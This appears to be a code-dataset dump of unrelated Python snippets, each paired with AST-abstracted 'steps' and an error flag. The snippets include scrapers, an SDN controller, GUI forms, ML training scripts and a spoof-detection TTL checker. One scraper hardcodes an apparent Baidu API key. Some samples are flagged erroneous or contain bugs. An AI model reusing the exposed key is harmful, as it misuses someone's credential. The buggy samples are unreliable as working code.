index int64 0 100k | blob_id stringlengths 40 40 | code stringlengths 7 7.27M | steps listlengths 1 1.25k | error bool 2
classes |
|---|---|---|---|---|
1,600 | fa02fb701b59728671a7e87147adaeb33422dcdb | {'ivy': {'svm': ({'kernel': 'rbf', 'C': 10.0}, 0.034482758620689662, 0.035087719298245612), 'tuned_ensemble': ({'svm__C': 100000.0, 'rf__n_estimators': 101, 'cart__min_samples_leaf': 7, 'knn__n_neighbors': 2, 'rf__random_state': 1542, 'cart__max_depth': 33, 'cart__max_features': 0.35714285714285721, 'svm__kernel': 'sig... | [
"{'ivy': {'svm': ({'kernel': 'rbf', 'C': 10.0}, 0.034482758620689662, 0.035087719298245612), 'tuned_ensemble': ({'svm__C': 100000.0, 'rf__n_estimators': 101, 'cart__min_samples_leaf': 7, 'knn__n_neighbors': 2, 'rf__random_state': 1542, 'cart__max_depth': 33, 'cart__max_features': 0.35714285714285721, 'svm__kernel':... | false |
1,601 | 02ffdd1c03cc20883eddc691fc841022b4ff40fd | import os
import urllib.request as ulib
import json
from bs4 import BeautifulSoup as Bsoup
def find_links(name):
name = name.replace(" ", "+")
url_str = 'https://www.google.com/search?ei=1m7NWePfFYaGmQG51q7IBg&hl=en&q={}' + \
'\&tbm=isch&ved=0ahUKEwjjovnD7sjWAhUGQyYKHTmrC2kQuT0I7gEoAQ&start={}'... | [
"import os\nimport urllib.request as ulib\nimport json\nfrom bs4 import BeautifulSoup as Bsoup\n\n\ndef find_links(name):\n name = name.replace(\" \", \"+\")\n\n url_str = 'https://www.google.com/search?ei=1m7NWePfFYaGmQG51q7IBg&hl=en&q={}' + \\\n '\\&tbm=isch&ved=0ahUKEwjjovnD7sjWAhUGQyYKHTmrC2k... | false |
1,602 | 290f96bb210a21183fe1e0e53219ad38ba889625 | default_app_config = 'child.apps.ChildConfig'
| [
"default_app_config = 'child.apps.ChildConfig'\n",
"<assignment token>\n"
] | false |
1,603 | d088aadc4d88267b908c4f6de2928c812ef36739 | import pygame
from pygame.sprite import Sprite
import spritesheet
class Bunker(Sprite):
def __init__(self, ai_settings, bunker_x, bunker_y, screen, images):
"""Initialize the ship and set its starting position"""
super(Bunker, self).__init__()
self.screen = screen
self.images = ima... | [
"import pygame\nfrom pygame.sprite import Sprite\nimport spritesheet\n\nclass Bunker(Sprite):\n\n def __init__(self, ai_settings, bunker_x, bunker_y, screen, images):\n \"\"\"Initialize the ship and set its starting position\"\"\"\n super(Bunker, self).__init__()\n self.screen = screen\n ... | false |
1,604 | 02ab822dacb26d623a474fa45ebb034f9c1291b8 | # coding: utf-8
from pyquery import PyQuery as pq
html = '''
<div id="container">
<ul class="list">
<li class="item-0">first item</li>
<li class="item-1"><a href="link2.html">second item</a></li>
<li class="item-0 active"><a href="link3.html">third item</a></li>
... | [
"# coding: utf-8\n\nfrom pyquery import PyQuery as pq\n\n\nhtml = '''\n <div id=\"container\">\n <ul class=\"list\">\n <li class=\"item-0\">first item</li>\n <li class=\"item-1\"><a href=\"link2.html\">second item</a></li>\n <li class=\"item-0 active\"><a href=\"link3.html... | false |
1,605 | f7afd08fb8316e44c314d17ef382b98dde7eef91 | #!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author: Yuan
import time
import sys
def jindutiao(jindu,zonge):
ret = (jindu/zonge)*100
r = "\r%s%d%%"%("="*jindu,ret)
sys.stdout.write(r)
sys.stdout.flush()
if __name__ =="__main__":
for i in range(101):
time.sleep(0.1)
jindutia... | [
"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author: Yuan\n\n\nimport time\n\nimport sys\n\ndef jindutiao(jindu,zonge):\n\n ret = (jindu/zonge)*100\n\n r = \"\\r%s%d%%\"%(\"=\"*jindu,ret)\n sys.stdout.write(r)\n sys.stdout.flush()\n\n\nif __name__ ==\"__main__\":\n for i in range(101):\n ... | false |
1,606 | 7620ff333422d0354cc41c2a66444c3e8a0c011f | from django import forms
from django.core import validators
class NameSearch(forms.Form):
name= forms.CharField(label='Search By Name')
| [
"from django import forms\nfrom django.core import validators\n\n\nclass NameSearch(forms.Form):\n name= forms.CharField(label='Search By Name')\n \n",
"from django import forms\nfrom django.core import validators\n\n\nclass NameSearch(forms.Form):\n name = forms.CharField(label='Search By Name')\n",
"... | false |
1,607 | 18b82f83d3bf729eadb2bd5a766f731a2c54a93b | class Solution:
def searchRange(self, nums: List[int], target: int) -> List[int]:
res = [-1, -1]
def binary_serach(left, right, target, res):
if left >= right:
return
mid = (left + right) // 2
if nums[mid] == target:
... | [
"class Solution:\n def searchRange(self, nums: List[int], target: int) -> List[int]:\n res = [-1, -1]\n \n def binary_serach(left, right, target, res):\n if left >= right:\n return\n \n mid = (left + right) // 2\n if nums[mid] == tar... | false |
1,608 | 86d032a3cd67118eb46073c996f1c9a391f8dfe0 | from ryu.base import app_manager
from ryu.controller import ofp_event
from ryu.controller.handler import MAIN_DISPATCHER
from ryu.controller.handler import set_ev_cls
from ryu.ofproto import ofproto_v1_0
from ryu.lib.mac import haddr_to_bin
from ryu.lib.packet import packet
from ryu.lib.packet import ethernet
from ryu... | [
"from ryu.base import app_manager\nfrom ryu.controller import ofp_event\nfrom ryu.controller.handler import MAIN_DISPATCHER\nfrom ryu.controller.handler import set_ev_cls\nfrom ryu.ofproto import ofproto_v1_0\n\nfrom ryu.lib.mac import haddr_to_bin\nfrom ryu.lib.packet import packet\nfrom ryu.lib.packet import ethe... | false |
1,609 | e9890fcf9ad2a78b3400f6e4eeb75deac8edcd6a | from neodroidagent.entry_points.agent_tests import sac_gym_test
if __name__ == "__main__":
sac_gym_test()
| [
"from neodroidagent.entry_points.agent_tests import sac_gym_test\n\nif __name__ == \"__main__\":\n sac_gym_test()\n",
"from neodroidagent.entry_points.agent_tests import sac_gym_test\nif __name__ == '__main__':\n sac_gym_test()\n",
"<import token>\nif __name__ == '__main__':\n sac_gym_test()\n",
"<im... | false |
1,610 | c8fecb6bfbd39e7a82294c9e0f9e5eaf659b7fed | # Exercise 1 - linear.py
import numpy as np
import keras
# Build the model
model = keras.Sequential([keras.layers.Dense(units=1,input_shape=[1])])
# Set the loss and optimizer function
model.compile(optimizer='sgd', loss='mean_squared_error')
# Initialize input data
xs = np.array([-1.0, 0.0, 1.0, 2.0, 3.0, 4.0], dtype=... | [
"# Exercise 1 - linear.py\nimport numpy as np\nimport keras\n# Build the model\nmodel = keras.Sequential([keras.layers.Dense(units=1,input_shape=[1])])\n# Set the loss and optimizer function\nmodel.compile(optimizer='sgd', loss='mean_squared_error')\n# Initialize input data\nxs = np.array([-1.0, 0.0, 1.0, 2.0, 3.0,... | false |
1,611 | a55daebd85002640db5e08c2cf6d3e937b883f01 | #!/usr/bin/env python3
"""
Calculates the maximization step in the EM algorithm for a GMM
"""
import numpy as np
def maximization(X, g):
"""
Returns: pi, m, S, or None, None, None on failure
"""
if type(X) is not np.ndarray or len(X.shape) != 2:
return None, None, None
if type(g) is not... | [
"#!/usr/bin/env python3\n\"\"\"\nCalculates the maximization step in the EM algorithm for a GMM\n\"\"\"\n\n\nimport numpy as np\n\n\ndef maximization(X, g):\n \"\"\"\n Returns: pi, m, S, or None, None, None on failure\n \"\"\"\n if type(X) is not np.ndarray or len(X.shape) != 2:\n return None, No... | false |
1,612 | 512d0a293b0cc3e6f7d84bb6958dc6693acde680 | # I Have Created this file -Nabeel
from django.http import HttpResponse
from django.shortcuts import render
def index(request):
return render(request,'index.html')
def aboutme(request):
return HttpResponse (" <a href='https://nb786.github.io/Ncoder/about.html' > Aboutme</a>")
def contact(request):
retur... | [
"# I Have Created this file -Nabeel\n\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\n\ndef index(request):\n return render(request,'index.html')\n\n\ndef aboutme(request):\n return HttpResponse (\" <a href='https://nb786.github.io/Ncoder/about.html' > Aboutme</a>\")\n\ndef contact(... | false |
1,613 | 37cafe5d3d3342e5e4070b87caf0cfb5bcfdfd8d | from tkinter.ttk import *
from tkinter import *
import tkinter.ttk as ttk
from tkinter import messagebox
import sqlite3
root = Tk()
root.title('Register-Form')
root.geometry("600x450+-2+86")
root.minsize(120, 1)
def delete():
if(Entry1.get()==''):
messagebox.showerror('Register-Form', 'ID Is compolsary fo... | [
"from tkinter.ttk import *\nfrom tkinter import *\nimport tkinter.ttk as ttk\nfrom tkinter import messagebox\nimport sqlite3\n\nroot = Tk()\nroot.title('Register-Form')\nroot.geometry(\"600x450+-2+86\")\nroot.minsize(120, 1)\n\ndef delete():\n if(Entry1.get()==''):\n messagebox.showerror('Register-Form', ... | false |
1,614 | 9b3c2604b428295eda16030b45cf739e714f3d00 | '''
Module for interaction with database
'''
import sqlite3
from enum import Enum
DB_NAME = 'categories.db'
class State(Enum):
ok = True
error = False
def get_db_connection():
try:
global connection
connection = sqlite3.connect(DB_NAME)
cursor = connection.cursor()
exce... | [
"'''\n Module for interaction with database\n'''\n\nimport sqlite3\nfrom enum import Enum\n\nDB_NAME = 'categories.db'\n\n\nclass State(Enum):\n ok = True\n error = False\n\n\ndef get_db_connection():\n try:\n global connection\n connection = sqlite3.connect(DB_NAME)\n cursor = conn... | false |
1,615 | a3507019ca3310d7ad7eb2a0168dcdfe558643f6 | # -*- coding: UTF-8 -*-
'''
Evaluate trained PredNet on KITTI sequences.
Calculates mean-squared error and plots predictions.
'''
import os
import numpy as np
from six.moves import cPickle
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
from keras import ... | [
"# -*- coding: UTF-8 -*-\n'''\nEvaluate trained PredNet on KITTI sequences.\nCalculates mean-squared error and plots predictions.\n'''\n\nimport os\nimport numpy as np\nfrom six.moves import cPickle\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\... | false |
1,616 | 7081211336793bfde60b5c922f6ab9461a475949 | import time
import optparse
from IPy import IP as IPTEST
ttlValues = {}
THRESH = 5
def checkTTL(ipsrc,ttl):
if IPTEST(ipsrc).iptype() == 'PRIVATE':
return
if not ttlValues.has_key(ipsrc):
pkt = srl(IP(dst=ipsrc) / TCMP(),retry=0,timeout=0,verbose=0)
ttlValues[ipsrc] = pkt.ttl
... | [
"import time\r\nimport optparse\r\nfrom IPy import IP as IPTEST\r\nttlValues = {}\r\nTHRESH = 5\r\ndef checkTTL(ipsrc,ttl):\r\n if IPTEST(ipsrc).iptype() == 'PRIVATE':\r\n return\r\n if not ttlValues.has_key(ipsrc):\r\n pkt = srl(IP(dst=ipsrc) / TCMP(),retry=0,timeout=0,verbose=0)\r\n ttl... | true |
1,617 | 535fdee8f74b1984c5d1a5ec929310473b01239d | import numpy as np
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras.initializers import RandomUniform
class Critic:
def __init__(self, obs_dim, action_dim, learning_rate=0.001):
self.obs_dim = obs_dim
self.action_dim = action_dim
self.model = self.make_network()
... | [
"import numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras.initializers import RandomUniform\n\nclass Critic:\n def __init__(self, obs_dim, action_dim, learning_rate=0.001):\n self.obs_dim = obs_dim\n self.action_dim = action_dim\n self.model = self.mak... | false |
1,618 | 192bd3c783f6f822f8e732ddf47d7fc3b22c032b | """Create a new Node object and attach it a Linked List."""
class Node(object):
"""Build a node object."""
def __init__(self, data=None, next=None):
"""Constructor for the Node object."""
self.data = data
self.next = next
class LinkedList(object):
"""Build linked list."""
d... | [
"\"\"\"Create a new Node object and attach it a Linked List.\"\"\"\n\n\nclass Node(object):\n \"\"\"Build a node object.\"\"\"\n\n def __init__(self, data=None, next=None):\n \"\"\"Constructor for the Node object.\"\"\"\n self.data = data\n self.next = next\n\n\nclass LinkedList(object):\... | false |
1,619 | 6acb253189798c22d47feb3d61ac68a1851d22ba | import pickle
from generation_code import serial_filename
import serial_output_code
import numpy as np
from shutil import copyfile
from os import remove
# This file is only temporary, mostly to be used when updating the
# reference output from a regression test, to ensure that, in all
# aspects that are in common with... | [
"import pickle\nfrom generation_code import serial_filename\nimport serial_output_code\nimport numpy as np\nfrom shutil import copyfile\nfrom os import remove\n\n# This file is only temporary, mostly to be used when updating the\n# reference output from a regression test, to ensure that, in all\n# aspects that are ... | false |
1,620 | be90dcb4bbb69053e9451479990e030cd4841e4a | #-*- coding: utf8 -*-
#credits to https://github.com/pytorch/examples/blob/master/imagenet/main.py
import shutil, time, logging
import torch
import torch.optim
import numpy as np
import visdom, copy
from datetime import datetime
from collections import defaultdict
from generic_models.yellowfin import YFOptimizer
logg... | [
"#-*- coding: utf8 -*-\n#credits to https://github.com/pytorch/examples/blob/master/imagenet/main.py\nimport shutil, time, logging\nimport torch\nimport torch.optim\nimport numpy as np\nimport visdom, copy\nfrom datetime import datetime\nfrom collections import defaultdict\nfrom generic_models.yellowfin import YFOp... | true |
1,621 | d6e836140b1f9c955711402111dc07e74b4a23b1 | """
This module provides a script to extract data from all JSON files stored in a specific directory and create a HTML
table for an better overview of the data.
.. moduleauthor:: Maximilian Springenberg <mspringenberg@gmail.com>
|
"""
from collections import defaultdict
from argparse import ArgumentParser
import os... | [
"\"\"\"\nThis module provides a script to extract data from all JSON files stored in a specific directory and create a HTML\ntable for an better overview of the data.\n\n.. moduleauthor:: Maximilian Springenberg <mspringenberg@gmail.com>\n\n|\n\n\"\"\"\nfrom collections import defaultdict\nfrom argparse import Argu... | false |
1,622 | 74939f81e999b8e239eb64fa10b56f48c47f7d94 | # Problem Statement – An automobile company manufactures both a two wheeler (TW) and a four wheeler (FW). A company manager wants to make the production of both types of vehicle according to the given data below:
# 1st data, Total number of vehicle (two-wheeler + four-wheeler)=v
# 2nd data, Total number of wheels = W
... | [
"# Problem Statement – An automobile company manufactures both a two wheeler (TW) and a four wheeler (FW). A company manager wants to make the production of both types of vehicle according to the given data below:\n\n# 1st data, Total number of vehicle (two-wheeler + four-wheeler)=v\n# 2nd data, Total number of whe... | false |
1,623 | b9675bc65e06624c7f039188379b76da8e58fb19 | #!/usr/bin/env python
# encoding: utf-8
from tree import *
def findKthNode(root, k):
if not root:
return None
if root.number < k or k <= 0:
return None
if k == 1:
return root
if root.left and root.left.number >= k-1:
return findKthNode(root.left, k - 1)
else:
... | [
"#!/usr/bin/env python\n# encoding: utf-8\n\nfrom tree import *\n\ndef findKthNode(root, k):\n if not root:\n return None\n if root.number < k or k <= 0:\n return None\n if k == 1:\n return root\n if root.left and root.left.number >= k-1:\n return findKthNode(root.left, k - 1... | false |
1,624 | 53de53614b3c503a4232c00e8f2fd5a0f4cb6615 | #!/usr/bin/python3
"""
request api and write in JSON file
all tasks todo for every users
"""
import json
import requests
import sys
if __name__ == "__main__":
req = "https://jsonplaceholder.typicode.com/todos"
response = requests.get(req).json()
d = {}
req_user = "https://jsonplaceholder.typic... | [
"#!/usr/bin/python3\n\"\"\"\n request api and write in JSON file\n all tasks todo for every users\n\"\"\"\nimport json\nimport requests\nimport sys\n\n\nif __name__ == \"__main__\":\n req = \"https://jsonplaceholder.typicode.com/todos\"\n response = requests.get(req).json()\n d = {}\n req_user = \... | false |
1,625 | 24cd3a1a05a1cfa638b8264fd89b36ee63b29f89 | from setuptools import setup
setup(
name="CoreMLModules",
version="0.1.0",
url="https://github.com/AfricasVoices/CoreMLModules",
packages=["core_ml_modules"],
setup_requires=["pytest-runner"],
install_requires=["numpy", "scikit-learn", "nltk"],
tests_require=["pytest<=3.6.4"]
)
| [
"from setuptools import setup\n\nsetup(\n name=\"CoreMLModules\",\n version=\"0.1.0\",\n url=\"https://github.com/AfricasVoices/CoreMLModules\",\n packages=[\"core_ml_modules\"],\n setup_requires=[\"pytest-runner\"],\n install_requires=[\"numpy\", \"scikit-learn\", \"nltk\"],\n tests_require=[\... | false |
1,626 | e7ef8debbff20cb178a3870b9618cbb0652af5af | #!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | [
"#!/usr/bin/env python\n#\n# Copyright 2007 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by... | true |
1,627 | 09a5c96b7f496aca6b34d7f0a83d5b1e182ca409 | def quick_sort(arr):
q_sort(arr, 0, len(arr) - 1)
def q_sort(arr, left, right):
if left < right:
pivot_index = partition(arr, left, right)
q_sort(arr, left, pivot_index - 1)
q_sort(arr, pivot_index + 1, right)
def partition(arr, left, right):
pivot = arr[left]
while left < ... | [
"def quick_sort(arr):\n q_sort(arr, 0, len(arr) - 1)\n\n\ndef q_sort(arr, left, right):\n if left < right:\n pivot_index = partition(arr, left, right)\n\n q_sort(arr, left, pivot_index - 1)\n q_sort(arr, pivot_index + 1, right)\n\n\ndef partition(arr, left, right):\n pivot = arr[left]\... | false |
1,628 | 7feac838f17ef1e4338190c0e8c284ed99369693 | #/usr/bin/env python
#v0.2
import random, time
mapHeight = 30
mapWidth = 30
fillPercent = 45
def generateNoise():
#generate a grid of cells with height = mapHeight and width = mapWidth with each cell either "walls" (true) or "floors" (false)
#border is guaranteed to be walls and all other spaces have a fi... | [
"#/usr/bin/env python\r\n#v0.2\r\nimport random, time\r\n\r\nmapHeight = 30\r\nmapWidth = 30\r\nfillPercent = 45\r\n\r\ndef generateNoise():\r\n\t#generate a grid of cells with height = mapHeight and width = mapWidth with each cell either \"walls\" (true) or \"floors\" (false)\r\n\t#border is guaranteed to be walls... | false |
1,629 | d39f6fca80f32a4d13764eb5cfb29999785b1d16 | import random
my_randoms = random.sample(100, 10)
print(my_randoms)
| [
"import random\nmy_randoms = random.sample(100, 10)\nprint(my_randoms)\n",
"<import token>\nmy_randoms = random.sample(100, 10)\nprint(my_randoms)\n",
"<import token>\n<assignment token>\nprint(my_randoms)\n",
"<import token>\n<assignment token>\n<code token>\n"
] | false |
1,630 | 53509d826b82211bac02ea5f545802007b06781c | # Register all decoders
import ludwig.schema.decoders.base
import ludwig.schema.decoders.sequence_decoders # noqa
| [
"# Register all decoders\nimport ludwig.schema.decoders.base\nimport ludwig.schema.decoders.sequence_decoders # noqa\n",
"import ludwig.schema.decoders.base\nimport ludwig.schema.decoders.sequence_decoders\n",
"<import token>\n"
] | false |
1,631 | b10d3d8d0ded0d2055c1abdaf40a97abd4cb2cb8 | import numpy as np
import matplotlib.pyplot as plt
from scipy import stats
def fit(x, iters=1000, eps=1e-6):
"""
Fits a 2-parameter Weibull distribution to the given data using maximum-likelihood estimation.
:param x: 1d-ndarray of samples from an (unknown) distribution. Each value must satisfy x ... | [
"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy import stats\r\n\r\n\r\ndef fit(x, iters=1000, eps=1e-6):\r\n \"\"\"\r\n Fits a 2-parameter Weibull distribution to the given data using maximum-likelihood estimation.\r\n :param x: 1d-ndarray of samples from an (unknown) distribution. Ea... | false |
1,632 | 7c6ac2837751703ac4582ee81c29ccf67b8277bc | from django.shortcuts import render, get_object_or_404
from django.views.generic import ListView, CreateView, UpdateView, DeleteView, DetailView
from accounts.models import Employee
from leave.models import ApplyLeave
from departments.models import Department, Position
from django.contrib.auth.models import User
from... | [
"from django.shortcuts import render, get_object_or_404\nfrom django.views.generic import ListView, CreateView, UpdateView, DeleteView, DetailView\nfrom accounts.models import Employee\nfrom leave.models import ApplyLeave \nfrom departments.models import Department, Position \nfrom django.contrib.auth.models import... | false |
1,633 | 4e50a7a757bacb04dc8f292bdaafb03c86042e6c | import time
from tests.test_base import BaseTest
from pages.campo_de_treinamento_page import CampoDeTreinamentoPage
class TestCadastro(BaseTest):
def test_cadastro_com_sucesso(self):
self.campoDeTreinamento = CampoDeTreinamentoPage(self.driver)
self.campoDeTreinamento.fill_name("Everton")
... | [
"import time\nfrom tests.test_base import BaseTest\nfrom pages.campo_de_treinamento_page import CampoDeTreinamentoPage\n\n\nclass TestCadastro(BaseTest):\n def test_cadastro_com_sucesso(self):\n self.campoDeTreinamento = CampoDeTreinamentoPage(self.driver)\n self.campoDeTreinamento.fill_name(\"Ever... | false |
1,634 | 941a93c66a5131712f337ad055bbf2a93e6ec10d | #!/usr/bin/env python
#coding=utf-8
#author:maohan
#date:20160706
#decription:通过百度api获取相关信息，并保存为xls格式
#ver:1.0
import urllib2
import json
import sys
from pyExcelerator import *
def bd_finder(qw,region,page_num):
page_size='20'
bd_ak='wkEmrv7B1l0KPpi30F1G2VMx10xEdeol'
bd_url='http://api.map.baidu.com/place/v2/search?... | [
"#!/usr/bin/env python\n#coding=utf-8\n#author:maohan\n#date:20160706\n#decription:通过百度api获取相关信息，并保存为xls格式\n#ver:1.0\nimport urllib2\nimport json\nimport sys\nfrom pyExcelerator import *\ndef bd_finder(qw,region,page_num):\n\tpage_size='20'\n\tbd_ak='wkEmrv7B1l0KPpi30F1G2VMx10xEdeol'\n\tbd_url='http://api.map.baidu... | false |
1,635 | 5923a12378225fb6389e7e0275af6d4aa476fe87 | import logging
from logging import INFO
from typing import Dict, List
from .constants import Relations, POS
from .evaluator import *
from .general import DPHelper
from .general import *
from .utils import *
# ========================================= DRIVER =================================================
def genera... | [
"import logging\nfrom logging import INFO\nfrom typing import Dict, List\nfrom .constants import Relations, POS\nfrom .evaluator import *\nfrom .general import DPHelper\nfrom .general import *\nfrom .utils import *\n\n# ========================================= DRIVER ===============================================... | false |
1,636 | 75990147e4a3dae1b590729ed659e2ddcbfb295d | ## More Review + More Linked Lists ##
##Given a pointer to the head node of a linked list whose data elements are in non-decreasing order, you must delete any duplicate nodes and print the updated list.
##Code handling I/O is provided in the editor. Complete the removeDuplicates(Node) function.
##Note: The head poi... | [
"## More Review + More Linked Lists ##\n\n##Given a pointer to the head node of a linked list whose data elements are in non-decreasing order, you must delete any duplicate nodes and print the updated list.\n##Code handling I/O is provided in the editor. Complete the removeDuplicates(Node) function. \n##Note: The... | true |
1,637 | c268c61e47698d07b7c1461970dc47242af55777 | # -*- coding: utf-8 -*-
#借鉴的扫码单文件
import qrcode
from fake_useragent import UserAgent
from threading import Thread
import time, base64
import requests
from io import BytesIO
import http.cookiejar as cookielib
from PIL import Image
import os
requests.packages.urllib3.disable_warnings()
ua = UserAgent(pa... | [
"# -*- coding: utf-8 -*-\r\n#借鉴的扫码单文件\r\nimport qrcode\r\nfrom fake_useragent import UserAgent\r\nfrom threading import Thread\r\nimport time, base64\r\nimport requests\r\nfrom io import BytesIO\r\nimport http.cookiejar as cookielib\r\nfrom PIL import Image\r\nimport os\r\n\r\nrequests.packages.urllib3.disable_warn... | false |
1,638 | 824038a56e8aaf4adf6ec813a5728ab318547582 | """
common tests
"""
from django.test import TestCase
from src.core.common import get_method_config
from src.predictive_model.classification.models import ClassificationMethods
from src.predictive_model.models import PredictiveModels
from src.utils.tests_utils import create_test_job, create_test_predictive_model
cl... | [
"\"\"\"\ncommon tests\n\"\"\"\n\nfrom django.test import TestCase\n\nfrom src.core.common import get_method_config\nfrom src.predictive_model.classification.models import ClassificationMethods\nfrom src.predictive_model.models import PredictiveModels\nfrom src.utils.tests_utils import create_test_job, create_test_p... | false |
1,639 | ea6d726e8163ed0f93b8078323fa5f4e9115ad73 | # Copyright (c) 2021 Cisco and/or its affiliates.
#
# SPDX-License-Identifier: Apache-2.0 OR GPL-2.0-or-later
#
# Licensed under the Apache License 2.0 or
# GNU General Public License v2.0 or later; you may not use this file
# except in compliance with one of these Licenses. You
# may obtain a copy of the Licenses at:... | [
"# Copyright (c) 2021 Cisco and/or its affiliates.\n#\n# SPDX-License-Identifier: Apache-2.0 OR GPL-2.0-or-later\n#\n# Licensed under the Apache License 2.0 or\n# GNU General Public License v2.0 or later; you may not use this file\n# except in compliance with one of these Licenses. You\n# may obtain a copy of the ... | false |
1,640 | 0058a6d3c9d4e600885b876614362ea4401ce2fe | import time
with open("src/time.txt", "w") as f:
f.write(str(int(time.time()))) | [
"import time\n\nwith open(\"src/time.txt\", \"w\") as f:\n f.write(str(int(time.time())))",
"import time\nwith open('src/time.txt', 'w') as f:\n f.write(str(int(time.time())))\n",
"<import token>\nwith open('src/time.txt', 'w') as f:\n f.write(str(int(time.time())))\n",
"<import token>\n<code token>\... | false |
1,641 | 3be1947ead65f8e8a9bf73cc8cae2c7d69d8b756 | import flask
import numpy as np
import pandas as pd
import requests
from bs4 import BeautifulSoup
import pickle
from recent_earnings_tickers import ok_tickers
import re
#---------- Model ----------------#
#with open('/Users/samfunk/ds/metis/project_mcnulty/code/REPLACE_WITH_MODEL_PICKLE', 'rb') as f:
#PREDICTOR =... | [
"import flask\nimport numpy as np\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\nimport pickle\nfrom recent_earnings_tickers import ok_tickers\nimport re\n\n#---------- Model ----------------#\n\n#with open('/Users/samfunk/ds/metis/project_mcnulty/code/REPLACE_WITH_MODEL_PICKLE', 'rb') as f:\... | false |
1,642 | 137ed9c36265781dbebabbd1ee0ea84c9850201a | import tkinter as tk
from tkinter import Tk, ttk
from tkinter import filedialog
import matplotlib.pyplot as plt
import numpy as np
import matplotlib
from matplotlib.backends.backend_tkagg import (
FigureCanvasTkAgg, NavigationToolbar2Tk)
from matplotlib.figure import Figure
import matplotlib.animation as animation
... | [
"import tkinter as tk\nfrom tkinter import Tk, ttk\nfrom tkinter import filedialog\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib\nfrom matplotlib.backends.backend_tkagg import (\n FigureCanvasTkAgg, NavigationToolbar2Tk)\nfrom matplotlib.figure import Figure\nimport matplotlib.animation... | false |
1,643 | ab35684166f07a3ab9e64f2ff98980e25a3fc576 | from django.conf import settings
from .base import *
import os
DEBUG = True
SECRET_KEY = os.environ['SECRET_KEY']
ROOT_URLCONF = 'floweryroad.urls.docker_production'
ALLOWED_HOSTS = [os.environ['WEB_HOST']]
CORS_ORIGIN_WHITELIST = [
os.environ['CORS']
]
DATABASES = {
'default': {
'ENGINE': 'django... | [
"from django.conf import settings\nfrom .base import *\nimport os\n\nDEBUG = True\n\nSECRET_KEY = os.environ['SECRET_KEY']\n\nROOT_URLCONF = 'floweryroad.urls.docker_production'\n\nALLOWED_HOSTS = [os.environ['WEB_HOST']]\n\nCORS_ORIGIN_WHITELIST = [\n os.environ['CORS']\n]\n\nDATABASES = {\n 'default': {\n ... | false |
1,644 | f13ccbfb27788deca0d4f4b58a4e9e8c7e8e0306 | import weakref
from enum import Enum
from functools import partial
from typing import TYPE_CHECKING
import inflection
if TYPE_CHECKING:
from stake.client import StakeClient
camelcase = partial(inflection.camelize, uppercase_first_letter=False)
__all__ = ["SideEnum"]
class SideEnum(str, Enum):
BUY = "B"
... | [
"import weakref\nfrom enum import Enum\nfrom functools import partial\nfrom typing import TYPE_CHECKING\n\nimport inflection\n\nif TYPE_CHECKING:\n from stake.client import StakeClient\n\ncamelcase = partial(inflection.camelize, uppercase_first_letter=False)\n\n__all__ = [\"SideEnum\"]\n\n\nclass SideEnum(str, E... | false |
1,645 | bf41ab20b9fae9f19efdc58852e48d9b735f34c3 | user_schema = {
'id': {
'type': 'string',
'required': True,
'coerce': (str, lambda x: x.lower())
},
'latitude':{
'type': 'float',
'required': True,
'min': -60.0,
'max': 10,
'coerce': (float, lambda x: round(x, 5))
},
'longitude':{
... | [
"user_schema = { \n 'id': {\n 'type': 'string',\n 'required': True,\n 'coerce': (str, lambda x: x.lower())\n },\n 'latitude':{\n 'type': 'float',\n 'required': True,\n 'min': -60.0,\n 'max': 10,\n 'coerce': (float, lambda x: round(x, 5))\n },\n ... | false |
1,646 | fccdf75fe83ad8388c12a63555c4132181fd349a | import os
import time
from datetime import datetime
from typing import List, Tuple
from pyspark.sql import SparkSession
from Chapter01.utilities01_py.helper_python import create_session
from Chapter02.utilities02_py.domain_objects import WarcRecord
from Chapter02.utilities02_py.helper_python import extract_raw_records,... | [
"import os\nimport time\nfrom datetime import datetime\nfrom typing import List, Tuple\nfrom pyspark.sql import SparkSession\nfrom Chapter01.utilities01_py.helper_python import create_session\nfrom Chapter02.utilities02_py.domain_objects import WarcRecord\nfrom Chapter02.utilities02_py.helper_python import extract_... | false |
1,647 | 27f001f4e79291825c56642693894375fef3e66a | import re
def read_input():
with open('../input/day12.txt') as f:
lines = f.readlines()
m = re.search(r'initial state:\s([\.#]+)', lines[0])
initial_state = m.groups()[0]
prog = re.compile(r'([\.#]{5})\s=>\s([\.#])')
rules = []
for i in range(2, len(lines)):
m = prog.search(line... | [
"import re\n\ndef read_input():\n with open('../input/day12.txt') as f:\n lines = f.readlines()\n m = re.search(r'initial state:\\s([\\.#]+)', lines[0])\n initial_state = m.groups()[0]\n prog = re.compile(r'([\\.#]{5})\\s=>\\s([\\.#])')\n rules = []\n for i in range(2, len(lines)):\n ... | false |
1,648 | 0ce69b7ce99b9c01892c240d5b268a9510af4503 | import unittest
from battleline.model.Formation import Formation, FormationInvalidError
class TestFormation(unittest.TestCase):
def test_formation_with_less_than_three_cards_is_considered_invalid(self):
self.assertRaisesRegexp(
FormationInvalidError, "Formation must have 3 cards", Formation, ... | [
"import unittest\nfrom battleline.model.Formation import Formation, FormationInvalidError\n\n\nclass TestFormation(unittest.TestCase):\n\n def test_formation_with_less_than_three_cards_is_considered_invalid(self):\n self.assertRaisesRegexp(\n FormationInvalidError, \"Formation must have 3 cards... | false |
1,649 | 81233eb12b8447d017b31f200ab7902dcce45496 | a = float(input('Digite um valor: '))
b = float(input('Digite outro valor: '))
c = float(input('Digite mais um valor: '))
if a == b or b == c:
print('Com os números digitados, formam um triângulo EQUILATERO.')
elif a <> b and b <> c and c == a and b == c:
